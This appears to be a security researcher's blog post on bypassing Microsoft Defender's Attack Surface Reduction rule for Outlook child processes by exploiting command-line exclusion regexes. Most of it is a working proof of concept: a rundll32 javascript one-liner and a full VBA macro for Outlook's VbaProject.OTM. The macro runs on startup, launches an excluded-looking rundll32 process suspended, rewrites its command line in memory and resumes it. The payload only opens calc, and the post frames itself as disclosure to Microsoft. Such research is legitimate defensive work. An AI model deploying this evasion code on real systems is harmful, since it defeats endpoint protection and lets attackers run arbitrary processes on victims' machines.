I’ve worked a lot with Microsoft Defender Antivirus, and particularly with the Attack Surface Reduction feature. Having built up some understanding of its inner workings with the help of other online literature on the topic, it occurred to me that some of the previous work I’d performed using command line tampering could prove useful in bypassing the ASR rules. In this article, I will describe how I managed to successfully apply this technique to bypass the rule entitled “Block Office communication application from creating child processes”.
Previous researh by Camille Mougey has exposed some of the inner workings of ASR. He showed that certain facets of individual ASR rules are implemented in Lua scripts embedded in Microsoft Defender’s Antivirus definition files. In particular, certain ASR rules have exclusion lists implemented in Lua, and the article provides a few examples of file path based exclusions that could be abused by attackers.
Having followed the techniques described in Mougey’s article, I ended up with my own collection of Lua scripts, and proceeded to see what else I could find. Interestingly, while numerous path-based exclusions are defined in a function named GetPathExclusions
, I found that two of the rules provided another function named GetCommandLineExclusions
. And naturally, it occurred to me — could I leverage my previous command line tampering work to achieve an effective ASR bypass?
Let’s look first at the decompiled functions that do provide command line exclusions. These are as follows:
Block Process Creations originating from PSExec & WMI commands
GetCommandLineExclusions = function()
-- function num : 0_3
local l_4_0 = ".:\\\\windows\\\\ccmcache\\\\.+"
local l_4_1 = ".:\\\\windows\\\\ccm\\\\systemtemp\\\\.+"
local l_4_2 = ".:\\\\windows\\\\ccm\\\\sensorframework\\\\.+"
local l_4_3 = ".:\\\\windows\\\\ccm\\\\signedscripts\\\\.+"
local l_4_4 = "cmd[^\\s]*\\s+/c\\s+\\\"chcp\\s+65001\\s+&\\s+.:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd\\.exe\\s+list[^>]+>\\s+\\\"\\\\\\\\127\\.0\\.0\\.1\\\\.\\$\\\\temp\\\\[^\\\"]+\\\"\\s+2>&1\\\""
local l_4_5 = {}
l_4_5[l_4_0] = 0
l_4_5[l_4_1] = 0
l_4_5[l_4_2] = 0
l_4_5[l_4_3] = 0
l_4_5[l_4_4] = 0
return l_4_5
end
Block Office communication application from creating child processes
GetCommandLineExclusions = function()
-- function num : 0_3
local l_4_0 = "\\\\wincub~.\\.dll\\\",openstgfile.+"
local l_4_1 = "rundll32[^\\s]* c:\\\\windows\\\\system32\\\\spool\\\\drivers\\\\.+"
local l_4_2 = "\\\\cmtrace\\.exe\\\"\\s\\\".+\\.log\\\""
local l_4_3 = ".:\\\\program files \\(x86\\)\\\\microsoft\\\\edge\\\\application\\\\msedge.exe"
local l_4_4 = "\\\"?rundll32(\\.exe)?\\\"?\\s+\\\"?.:\\\\program files( \\(x86\\))?\\\\windows photo viewer\\\\photoviewer.dll\\\"?"
local l_4_5 = {}
l_4_5[l_4_0] = 0
l_4_5[l_4_1] = 0
l_4_5[l_4_2] = 0
l_4_5[l_4_3] = 0
l_4_5[l_4_4] = 0
return l_4_5
end
From the above examples, we can see clearly that the strings are regular expressions. The exclusion mechanism has been designed to provide some flexibility regarding the exact command lines that it permits.
The second of these looks particularly interesting, because it has two entries that reference rundll32.exe
, a well-known LOLBin. Indeed, there is an invocation of rundll32.exe
that can use JavaScript to launch any other arbitrary process:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
Interestingly, attempting to run the above command line may result in an outright block by Windows Defender Antivirus (not ASR).
Looking at the two command line exclusions involving rundll32.exe
, let us first try to imagine why they were put in there in the first place. The first entry is referencing the print spooler directory, so one might assume that it is something to do with printing. The second entry references the “Windows Photo Viewer” DLL, which is helpfully provided in both 32- and 64-bit formats. If I were to guess, this might be launched in order to view images in email attachments, although on my machine it seemed to want to launch Paint instead. I have a feeling that this might be functionality provided by older versions of Outlook.
So, what we want to do from out Office Communication application (i.e. Outlook) is to:
1. Launch a suspended new process with a command line that would match the regular expression in the exclusion list. The following command line proides an example which would match the regular expression, while also appearing to be a legitimate invocation against a location where Outlook is known to store temporary files.
rundll32.exe "C:\program files\windows photo viewer\photoviewer.dll",ImageView_Fullscreen C:\Users\xxxx\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\FEC5USK9\IMG_00000000
2. Modify the command line in the new process with something that could launch our desired executable:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
3. Resume the process, allowing it to run the modfied command line.
It is our expectation that Microsoft Defender will perform the ASR rule processing as soon as the process is created – once it has determined that the process is excluded, it will allow that process and all its children to run unimpeded.
Macros in Word and Excel are well-known, and are the tool of choice for demostrating ASR, and ASR bypasses affecting those applications. However, this rule only affects Outlook. Fortunately for us, Outlook also provides limited VBA macro functionality, but instead of allowing macros in documents (wouldn’t that be fun?), VBA macros may only be provided in the form of one file:
%APPDATA%\Microsoft\Outlook\VbaProject.OTM
We’ll take what we’re given.
Below is a VBA implementation of the “in situ” command line tampering technique I presented in Part I of my Command Line Tampering series.
' https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms684873(v=vs.85).aspx
Private Type PROCESS_INFORMATION
hProcess As LongPtr 'HANDLE hProcess;
hThread As LongPtr 'HANDLE hThread;
dwProcessId As Long 'DWORD dwProcessId;
dwThreadId As Long 'DWORD dwThreadId;
End Type
' https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
Private Type STARTUP_INFO
cb As Long 'DWORD cb;
lpReserved As String 'LPSTR lpReserved;
lpDesktop As String 'LPSTR lpDesktop;
lpTitle As String 'LPSTR lpTitle;
dwX As Long 'DWORD dwX;
dwY As Long 'DWORD dwY;
dwXSize As Long 'DWORD dwXSize;
dwYSize As Long 'DWORD dwYSize;
dwXCountChars As Long 'DWORD dwXCountChars;
dwYCountChars As Long 'DWORD dwYCountChars;
dwFillAttribute As Long 'DWORD dwFillAttribute;
dwFlags As Long 'DWORD dwFlags;
wShowWindow As Integer 'WORD wShowWindow;
cbReserved2 As Integer 'WORD cbReserved2;
lpReserved2 As LongPtr 'LPBYTE lpReserved2;
hStdInput As LongPtr 'HANDLE hStdInput;
hStdOutput As LongPtr 'HANDLE hStdOutput;
hStdError As LongPtr 'HANDLE hStdError;
End Type
Private Const CREATE_SUSPENDED = &H4
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUP_INFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" (ByVal ProcessHandle As LongPtr, ByVal ProcessInformationClass As Long, ByRef ProcessInformation As Any, ByVal ProcessInformationLength As Long, ByRef ReturnLength As LongPtr) As Long
Private Declare PtrSafe Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesRead As LongPtr) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesWritten As LongPtr) As Long
Private Declare PtrSafe Function ResumeThread Lib "kernel32" (ByVal hThread As LongPtr) As Long
Public Function BytesToLongPtr(b() As Byte, offset As Long) As LongPtr
CopyMemory BytesToLongPtr, b(LBound(b) + offset), 8
End Function
Sub LaunchWithAsrBypass()
Dim r As LongPtr
Dim originalCmdLine As String, newCmdLineBuf() As Byte
newCmdLine = "rundll32.exe javascript:""\..\mshtml.dll,RunHTMLApplication "";eval(""w=new%20ActiveXObject(\""WScript.Shell\"");w.run(\""calc\"");window.close()"");"
newCmdLineBuf = newCmdLine
' Build an original command line with a plausible looking image file path
originalCmdLine = "rundll32.exe ""c:\program files\windows photo viewer\photoviewer.dll"",ImageView_Fullscreen "
originalCmdLine = originalCmdLine & Environ("LocalAppData") & "\Microsoft\Windows\INetCache\Content.Outlook\FEC5USK9\IMG_00000000"
' Extend the original command line such that its length is at least equal to that of the new command line.
While Len(originalCmdLine) < (Len(newCmdLine) - 4)
originalCmdLine = originalCmdLine & "0"
Wend
originalCmdLine = originalCmdLine & ".PNG"
' Start the process with the original command line, in a suspended state...
Dim processInfo As PROCESS_INFORMATION, startupInfo As STARTUP_INFO, strNull As String
lCreateProcess = CreateProcess(strNull, originalCmdLine, 0&, 0&, False, CREATE_SUSPENDED, 0&, strNull, startupInfo, processInfo)
' Navigate the PEB to get the command line pointer
Dim processBasicInfo(48) As Byte, peb(60) As Byte, processParams(128) As Byte
Status = NtQueryInformationProcess(processInfo.hProcess, 0, processBasicInfo(0), 48, r)
pPeb = BytesToLongPtr(processBasicInfo, 8)
lRet = ReadProcessMemory(processInfo.hProcess, pPeb, peb(0), 40, r)
pProcessParams = BytesToLongPtr(peb, 32)
lRet = ReadProcessMemory(processInfo.hProcess, pProcessParams, processParams(0), 128, r)
pCmdLine = BytesToLongPtr(processParams, 120)
' Write the new command line and a terminating null character
lRet = WriteProcessMemory(processInfo.hProcess, pCmdLine, newCmdLineBuf(0), UBound(newCmdLineBuf), r)
Dim unicodeNull(2) As Byte
lRet = WriteProcessMemory(processInfo.hProcess, pCmdLine + UBound(newCmdLineBuf), unicodeNull(0), 2, r)
' Let the process run
lRet = ResumeThread(processInfo.hThread)
End Sub
Private Sub Application_Startup()
LaunchWithAsrBypass
End Sub
Note the Application_Startup
function at the end. As suggested by its name, this function, if present within the VbaProject.OTM
file, will be executed whenever Outlook is started.
Let’s test this out in the editor. First we’ll run a simple test to confirm that calc.exe
is blocked by ASR. Then, we’ll test the ASR Bypass code as detailed above. We can see the results in the following video.
Concluding Remarks
The built-in path-based ASR exclusions provide many opportunities for ASR bypasses. Command line exclusions are intended to make it more difficult to bypass ASR, especially given general-purpose applications like rundll32.exe, could be used for good or bad. However, we have demonstrated here that, with a little bit more effort, command line exclusions can also be abused to bypass ASR rules. We acknowledge that our task was made easier by the use of a well-known LOLbin, so our message to Microsoft is to pay close attention to what you’re excluding, and don’t assume that command line exclusions are automatically safe.